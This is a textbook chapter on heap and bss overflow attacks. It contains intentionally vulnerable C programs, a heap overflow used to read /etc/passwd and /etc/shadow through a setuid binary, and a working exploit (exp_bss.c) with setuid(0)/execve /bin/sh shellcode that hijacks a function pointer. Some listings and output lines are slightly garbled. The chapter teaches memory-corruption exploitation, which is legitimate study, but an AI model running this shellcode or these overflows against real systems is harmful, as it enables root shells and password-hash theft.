
Heap overflow attacks 131 

 

Chapter 8 
 
 

Heap overflow attacks 
 
 
 
 
Attacks on applications are among the most common actions that hackers 
carry out. By taking advantage of an error in a program, an intruder can gain 
the access rights under which the program started. Programming bugs can 
leave data from the process memory open to attack. This chapter 
demonstrates how hackers use this type of error. 
 
Memory segments 
 
Every program has a specific amount of RAM memory at its disposal. When a 
program starts up, the system kernel creates a memory area for it and 
allocates memory to this as needed. One part of this memory contains the 
executable code of the program; another might contain its static data. This 
process is known as the division into memory segments. As we have already 
mentioned, a program uses five segments during its operation: 
 

Program code (text) 

Initiation data (data) 

Non-initiation data (bss) 

Space for dynamic memory (heap) 

Stack 
 
They are located in the address space of the process in this order. The 
program code is placed on the very top, while lower addresses are added to 
the stack.  
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We will now take a closer look at the following program to learn what the 
individual segments are for (/CD/Chapter8/Listings/test.c). 
 

 
Our program uses four memory areas of 16 bytes capacity. The first of them 
is the the segment_data[16] table, to which we immediately assign the value 
“” (that is, we leave it empty). This means that this variable is initiated. In 
addition, we declared it to be outside the function body, that is, it is global. 
This type of data is stored in the data segment. Then, already in the main() 
function, we declare the segment_stack[16] table. This is created dynamically 
during program execution, and for this reason it is placed in the stack 
segment. To the segment_heap pointer we assign the value returned by the 
malloc(16) function. This function allocates memory in the heap segment. 
Later on we will take a closer look at how it works. The last variable we 
declare is segment_bss[16]. It is a static variable, which we define in the 
declaration using the word “static.” Thanks to this it will be placed in the bss 
segment. As we can see each segment is indispensable for the program to 
function. We can also check for their presence by using the objdump 
program. 
 
At the beginning we will compile our program: 
 

 
 
 
 
 

#include <stdio.h> 
#include <stdlib.h> 
 
char segment_data[16]=""; 
 
int main() 
{ 
        char segment_stack[16]; 
        char *segment_heap = (char*)malloc(16); 
        static char segment_bss[16]; 
        return 0; 
} 

bash-2.05b$ gcc -o test test.c 
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Next, in order to display the program segments we will use the objdump –h 
option: 
 

 
As we can see, they are very numerous, as many as 27. These are not, 
however, only memory segments, but also segments of a binary file. Their 
initial addresses and sizes are constant, and therefore they can be written to 
the binary file. Heap segments and stack segments are dynamic, meaning that 
they change their size. Their initial address depends on the system, and 
therefore the information on those segments is not included in the binary file. 
 
With the objdump program we can also check that our variables are located 
where we expect: 
 

 
We can thus determine the addresses of the static and global variables. The 
dynamic variables placed on the stack or heap are created during the program 
function, so there in no possibility to access them on the basis of investigating 
the binary file itself.  
 

bash-2.05b$ objdump -h test 
 
test:     file format elf32-i386 
 
Sections: 
Idx Name          Size      VMA       LMA       File off  Algn 
  0 .interp       00000013  08048134  08048134  00000134  2**0 
                  CONTENTS, ALLOC, LOAD, READONLY, DATA 
 ... 
 11 .text         000001e0  080482e0  080482e0  000002e0  2**4 
                  CONTENTS, ALLOC, LOAD, READONLY, CODE 
 ... 
 21 .data         0000001c  080495dc  080495dc  000005dc  2**2 
                  CONTENTS, ALLOC, LOAD, DATA 
  
 22 .bss          00000014  080495f8  080495f8  000005f8  2**2 
                  ALLOC 
 ... 
 27 .debug_line   0000010c  00000000  00000000  0000082e  2**0 
                  CONTENTS, READONLY, DEBUGGING 
bash-2.05b$                                     

bash-2.05b$ objdump -x test | grep segment_ 
080495fc  l      O .bss   00000010         segment_bss.0 
080495e8  g      O .data  00000010         segment_data 
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Another program segment that we mentioned is text. It contains the 
executable code of the program; in other words, the subsequent instructions 
of the processor. Therefore no variables are stored in it. We can display its 
content also using objdump: 
 

 
As we notice, the data here do not mean much to a human, but are 
understandable to a processor.  
 
In order to see a more legible version of this segment, we can change it into 
assembly-language instructions using the -d option: 
 

bash-2.05b$ objdump -s --section .text test 
 
test:     file format elf32-i386 
 
Contents of section .text: 
 80482e0 31ed5e89 e183e4f0 50545268 30840408  1.^.....PTRh0... 
 80482f0 68d08304 08515668 a4830408 e8cfffff  h....QVh........ 
 ... 
 80484a0 0883f8ff 74168d76 008dbc27 00000000  ....t..v...'.... 
 80484b0 83eb04ff d08b0383 f8ff75f4 585b5dc3  ..........u.X[]. 
bash-2.05b$ 

bash-2.05b$ objdump -d --section .text test 
test:     file format elf32-i386 
Disassembly of section .text: 
080482e0 <_start>: 
 ... 
08048304 <call_gmon_start>: 
 ... 
08048330 <__do_global_dtors_aux>: 
 ... 
08048370 <frame_dummy>: 
 ... 
080483a4 <main>: 
 80483a4:       55                        push    %ebp 
 80483a5:       89 e5                    mov     %esp,%ebp 
 80483a7:       83 ec 38                  sub     $0x38,%esp 
 80483aa:       83 e4 f0                  and     $0xfffffff0,%esp 
 80483ad:       b8 00 00 00 00            mov     $0x0,%eax 
 80483b2:       29 c4                     sub     %eax,%esp 
 80483b4:       c7 04 24 10 00 00 00      movl    $0x10,(%esp) 
 80483bb:       e8 00 ff ff ff            call    80482c0 <malloc@plt> 
 80483c0:       89 45 e4                  mov     %eax,0xffffffe4(%ebp) 
 80483c3:       b8 00 00 00 00            mov     $0x0,%eax 
 80483c9:       c3                        ret 
 080483d0 <__libc_csu_init>: 
... 
08048430 <__libc_csu_fini>: 
... 
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... 
08048480 <__i686.get_pc_thunk.bx>: 
 ... 
08048490 <__do_global_ctors_aux>: 
 ... 
bash-2.05b$ 

 
Here, objdump has demonstrated that there are many functions in the 
program (their body in the assembly language has been replaced with 
ellipsis). As programmers we have written only the code of the main() 
function. The rest has been added by the gcc compiler and constitutes part of 
the text segment. 
 
Let’s have a closer look now at the heap segment. 
 
Heap 
 
As we know, to allocate memory in the heap segment we use the malloc() 
function. This is not, however, a function used by the kernel, but by the C 
language library. The target function made available by the kernel, used to 
allocate memory in the heap, is brk(). It assumes a new address for the end of 
the heap as a parameter. If we give it an address greater than the current end, 
it will allocate a new memory area. At other times, when we enter an address 
smaller than the end, a corresponding amount of memory will be released. 
Let’s assume we want to allocate 16 bytes of memory to the heap. In order to 
do that, we have to discover the current heap end and to transfer to the brk() 
function a value greater by 16. To discover the point where the heap ends, we 
can use the sbrk() function, which we transfer in the 0 parameter. Here is a 
program that executes these operations (/CD/Chapter8/Listings/test2.c): 
 
#include <stdio.h> 
#include <stdlib.h> 
 
int main(int argc, char *argv[]) 
{ 
        void *p; 
        p = sbrk(0); 

printf("Current heap end is %p\n", p); 
brk(p+16); 

        p = sbrk(0); 
        printf("Current heap end is %p\n", p); 
        return 0; 
} 
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We will now test our program to see if it really does allocate 16 bytes of 
memory: 
 

 
As we can see, after executing the brk() function, the address of the heap end 
changes by 16; in other words, memory has been assigned. Defining the 
address of the heap end each time and transferring the appropriate argument 
of the brk() function is unnecessary. We can use the sbrk() function of the C 
library and enter the amount in bytes that we want to allocate. It will then 
perform these operations for us. The best solution, however, is to use the 
malloc() function, as in our first example. This located in each compiler, 
meaning that the programs written with it will always work. In the Linux 
system the malloc() function performs similar operations as sbrk(), but it also 
takes care not to allocate small memory areas too many times, to prevent 
memory fragmentation. Subsequent memory areas are allocated immediately 
next to each other. This carries with it some risk as described next. 
 
Buffer overflow 
 
After a successful termination, the malloc() function returns the address to 
the new memory area. Its subsequent calls allocate memory immediately next 
to previous areas. If our program copies data to the first buffer without 
checking its size, it can cause the second to be overwritten. We will now 
analyze the following program (/CD/Chapter8/Listings/heap.c): 
 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
 
#define SIZE 8 
 
int main(int argc, char *argv[]) 
{ 
        char *buf1 = (char *)malloc(SIZE);  
        char *buf2 = (char *)malloc(SIZE);  
        char how_much; 
        memset(buf2, 'A', SIZE); 
        how_much = buf2 - buf1; 

bash-2.05b$ gcc -o test2 test2.c 
bash-2.05b$ ./test2 
Current heap end is 0x804a000 
Current heap end is 0x804a010 
bash-2.05b$ 
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        printf("needed %d bytes to overwrite\n", how_much); 
        printf("buf2 before overflow = %s\n", buf2); 
        strcpy(buf1, argv[1]); 
        printf("buf2 after overflow = %s\n", buf2); 
         
        return 0; 
} 

 
At the beginning we allocate two buffers: buf1 and buf2. The first one is 
located under buf2 in the process memory. Next, we calculate the distance 
between buf1 and buf2 and assign the result to the “how much” variable. In 
this way we will know how many bytes of data we have to transfer to the 
program for copying so they overwrite buf2. The strcpy() function, which 
copies data from the first argument of the program to buf1, and the use of 
which is therefore quite risky, is located at the end of the code. Let’s test our 
program: 
 

 
We have transferred the argument that fit in buf1, and there was therefore no 
overflow. We know that the number of bytes between buf1 and buf2 is 16. 
This means that the malloc() function has already allocated a large memory 
area the first time, and at the second call it returns only the address to the 
subsequent buffer, retaining a gap between them for security. Therefore, after 
calling our program, the memory looks as follows: 
 

8 bytes for buf1 8 bytes of gap 8 bytes for buf2 
 
 
We will now try to transfer an argument containing 16 B characters to the 
program: 
 

 

bash-2.05b$ gcc -o heap heap.c 
bash-2.05b$ ./heap B 
16 bytes needed to overwrite 
buf2 before overflow = AAAAAAAA 
buf2 after overflow = AAAAAAAA 

bash-2.05b$ ./heap BBBBBBBBBBBBBBBB 
16 bytes needed to overwrite 
buf2 before overflow = AAAAAAAA 
buf2 after overflow =  
bash-2.05b$ 
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The first byte of buf2 is now the zero byte inserted by the strcpy() function, 
therefore, the program states that buf2 has no content. The content of the 
buffers after overwriting looks like this: 
 

BBBBBBBB - buf1 BBBBBBBB - gap 0AAAAAAA - buf2 
 
All we need to do is transfer a character sequence longer than 16 bytes, and 
the result will be visible: 
 

 
After transferring 20 B characters, buf2 assumed the “BBBB” value, even 
though nowhere in the program did we perform such an entry. Our program 
in the example is therefore susceptible to heap overflow attacks. Now, we will 
see how we can put this to practical use. 
 
An example of heap overflow 
 
To take advantage of a heap overflow error in practice we have to have 
something to overwrite. On the heap there are no pointers that we can 
overwrite, as was true in the case of stack overflows, which we discussed in an 
earlier chapter. We can overwrite only that which we have already created 
ourselves. A frequently used technique is the overwriting of the names of the 
files used. They are often stored on a heap.  
 
Let’s take a look at the program below that prints an appropriate amount of 
lines from the “file.txt” file (/CD/Chapter8/Listings/heap2.c): 
 

 
 

bash-2.05b$ ./heap BBBBBBBBBBBBBBBBBBBB 
16 bytes needed to overwrite 
buf2 before overflow = AAAAAAAA 
buf2 after overflow = BBBB 
bash-2.05b$ 

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
 
#define SIZE 16 
#define "file.txt" FILE  
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int main(int argc, char *argv[]) 
{ 
        char buf[1024]; 
        char *how_much = (char *)malloc(SIZE); 
        char *file = (char *)malloc(SIZE);  
        FILE *fd; 
        int i = 0; 
         
        strcpy(file, FILE); 
        strcpy(how_much, argv[1]); 
         
        fd = fopen(file, "r"); 
         
        while(fgets(buf, 1024, fd)) 
        { 
                if(i == atoi(how_much)) 
                        break; 
                printf("%s", buf); 
                i++; 
        } 
         
        printf("%d lines read\n", i); 
         
        return 0; 
} 

 
The error is visible immediately. The data transferred in the first program 
argument are copied without restriction to the “how much” character buffer. 
If we transfer the right amount, this will overwrite the memory area for the 
“file” pointer. At the beginning, we can create a file with the name “file.txt” to 
ascertain how the program works. 
 

 
This reads as many lines from the “file.txt” file as we enter in the first 
argument. We will now try to overwrite the file name in such a way that the 
program will open another one, for example /etc/passwd. 
 
From the previous example we know that there is a gap of 8 bytes between 
buffers allocated by malloc(). We will, therefore, transfer 24 bytes to our 

bash-2.05b$ cat file.txt 
line number 1 
line number 2 
line number 3 
bash-2.05b$ gcc -o heap2 heap2.c 
bash-2.05b$ ./heap2 2 
line number 1 
line number 2 
2 lines read 
bash-2.05b$ 
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program to fill this, followed by the path to the file. The first fill character will 
be the line number we want to read: 
 

 
We transfer a long byte sequence as the program argument, but the atoi() 
function converts it into number 5, due to its first character (5). After 
subsequent fill characters have overwritten unimportant memory areas, we 
enter the path to the target file. As we can see, everything has gone just as we 
had planned. Now we will confer administrator privileges on our program: 
 

 
For now this will work as the root user. If this program were located in a real 
system, we could gain, for example, access to encrypted system passwords: 
 

 
If the password is easy, we can use the password cracker to gain full access to 
the system. 
 
An example of bss overflow 
 
The problem of buffer overflow is also an issue for the bss segment. If we do 
not limit the data being copied to the buffer located in the same segment, they 
will overwrite other memory areas not assigned to specific variables. The 
most frequent case of bss overflow is “function pointer overflow.” Let’s have a 
look at the following example (/CD/Chapter8/Listings/bss.c):  
 

bash-2.05b$ ./heap 5AAAAAAAAAAAAAAAAAAAAAAA/etc/passwd 
root:x:0:0:root:/root:/bin/bash 
bin:x:1:1:bin:/bin: 
daemon:x:2:2:daemon:/sbin: 
adm:x:3:4:adm:/var/account: 
lp:x:4:7:lp:/var/spool/lpd: 
5 lines read 
bash-2.05b$ 

bash-2.05b# chown root heap2 
bash-2.05b# chmod +s heap2 

bash-2.05b$ ./heap 1AAAAAAAAAAAAAAAAAAAAAAA/etc/shadow 
root:$1$vG8imyet$45azceFq/a5kxpUl2jbe0/:12697:0:99999:5::: 
1 lines read 
bash-2.05b$ 

#include <stdio.h> 
#include <stdlib.h> 
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#define SIZE 16 
 
int add(int a, int b){ 
        printf("%d\n", a+b); 
        return 0; 
} 
int subtract (int a, int b){ 
        printf("%d\n", a-b); 
        return 0; 
} 
int multiply(int a, int b){ 
        printf("%d\n", a*b); 
        return 0; 
} 
int divide(int a, int b){ 
        printf("%d\n", a/b); 
        return 0; 
} 
 
int main(int argc, char *argv[]) 
{ 
        static char a[SIZE], b[SIZE]; 
        static int (*func)(int a, int b); 
         
        if(argc < 4) 
        { 
                printf("Usage: %s <function> <a> <b>\n", argv[0]); 
                exit(-1); 
        } 
         
        if(!strcmp(argv[1], "add")) 
                func = add; 
        if(!strcmp(argv[1], "subtract")) 
                func = subtract; 
        if(!strcmp(argv[1], "multiply")) 
                func = multiply; 
        if(!strcmp(argv[1], "divide")) 
                func = divide; 
                 
        strcpy(a, argv[2]); 
        strcpy(b, argv[3]); 
         
        func(atoi(a), atoi(b)); 
        return 0; 
} 

 
On the basis of the first argument, the program assigns an appropriate value 
to the function pointer. Next, it copies the function parameters into the static 
buffers and transfers them during the function call. The a and b buffers and 
the pointer of the func function are located in the bss segment. Before calling 
func(), the program executes strcpy(), which, as we already know, can 
overwrite the buffer.  
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Let’s test our program. 
 

 
This program for short data strings works perfectly. But what happens if we 
transfer a long character sequence as the third argument? 
 

 
The program will report a memory protection error. The A characters have 
been copied into the “b[SIZE]” buffer. The buffer size was insufficient to store 
such a sequence, and it therefore overwrote the memory area outside itself. 
The value of the func() pointer was the content of the overwritten memory. 
After calling func(), instead of jumping to the appropriate function, we jump 
to the address “AAAA.” We will now check this using the gdb program: 
 

 
As we can see, our assumptions proved correct. The address 0x41414141 is 
not part of the memory assigned to our process, so during the attempt to 
access it, the system kernel killed our program. The example of a bss overflow 
shown above gives us more opportunities than a heap overflow would. If we 
overwrite the function pointer, we can direct the operation of the whole 

bash-2.05b$ ./bss add 2 2 
4 
bash-2.05b$ ./bss multiply -32 92 
-2944 
bash-2.05b$ 

bash-2.05b$ ./bss multiply -32 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Violation of memory protection (core dumped) 

bash-2.05b$ gdb bss core 
GNU gdb 5.2.1 
Copyright 2002 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show warranty" for details. 
This GDB was configured as "--host= --target=i686-pld-linux"... 
Core was generated by `./bss multiply -32 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. 
Program terminated with signal 11, Segmentation fault. 
 
warning: current_sos: Can't read pathname for load map: Input/output error 
 
Reading symbols from /lib/tls/libc.so.6...done. 
Loaded symbols for /lib/tls/libc.so.6 
Reading symbols from /lib/ld-linux.so.2...done. 
Loaded symbols for /lib/ld-linux.so.2 
#0  0x41414141 in?? () 
(gdb) 



Heap overflow attacks 143 

 

program. Let’s try jumping to the subtract() function instead of the add() 
function by overwriting the func() pointer with its address. At the beginning 
we define the address of the divide() function: 
 

 
We know that it is 0x8048480. Now, using a short Perl insert we transfer 
arguments we have prepared to the program: 
 

 
Our second number to add is 0002<address_divide_function>; that is, after 
calling the atoi() function, simply 2. The atoi() function will change the 
character sequence into a whole number until it reaches the first character 
that is not a number. As we can see, we managed to induce subtraction 
instead of addition, despite the first argument commanding the program to 
execute something completely different. We should bear in mind that the 
address of the function being called is to be entered from the end.  
 
We have commanded the program to execute operations due to the 
overwriting of the function pointer, but this has not yet given us anything of 
real benefit. Instead of using the program function, in the call argument we 
can transfer the binary code of our function, to which we will then jump. Our 
function will be used to start up the /bin/sh shell. As we know, such a 
representation of the function in the form of characters is called a shellcode.  
 
The following listing shows the exploit code that starts up the shell using the 
error in our program (/CD/Chapter8/Listings/exp_bss.c): 
 

(gdb) print &divide 
$1 = (<text variable, no debug info> *) 0x8048480 <divide> 

bash-2.05b$ ./bss add 8 0002`perl -e 'print "\x80\x84\x04\x08"x10'` 
4 
bash-2.05b$ 

#include <stdio.h> 
#include <unistd.h> 
 
#define PATH "bss" 
#define BUF 20 
 
char shellcode[]= 
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"           // setuid(0) 
        "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"           // setgid(0) 
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        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" 
        "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0" 
        "\x0b\xcd\x80"              // execve /bin/sh 
        "\x31\xc0\x31\xdb\xb0\x01\xcd\x80";           // exit(0) 
 
int main() 
{ 
        int n,ret; 
        char buf[BUF]; 
        char *envp[] = { shellcode , 0x0 }; 
 
        int *tmp = (int *)(buf); 
 
        ret = 0xbffffffa - strlen(PATH) - strlen(shellcode); 
 
        for(n=0;n<BUF-1;n+=4) 
        *tmp++ = ret; 
 
        *tmp = 0x0; 
 
        execle(PATH,PATH,"add" , "2", buf,0x0,envp,0x0); 
} 

 
We place our shellcode in the environment variable so that determining its 
address in memory will be easy. Then we start up a vulnerable program with 
arguments “add,” “2,” <buffer with shellcode addresses>. The shellcode 
addresses overwrite the func() pointer that, instead of print(), runs our 
shellcode. Let’s check if it will work: 
 

 
As can be seen, we have managed to start up the sh shell without significant 
problems. If the “bss” program were working with root privileges, we would 
obtain full access to the system resources. 
 
In summary, like other errors, serious hackers should investigate heap and 
bss overflow errors, even though that they are often impossible or difficult to 
take advantage of. A lot of information is stored on the heap, and overwriting 
it can bring us benefits. Apart from the buffers created by our program, there 
is also information stored, for example, by the libc library. A clever hacker 
will use anything, even the smallest gap, to penetrate the system. 

 

bash-2.05b$ gcc -o exp_bss exp_bss.c 
bash-2.05b$ ./exp_bss 
sh-2.05b$ exit 
exit 
bash-2.05b$ 


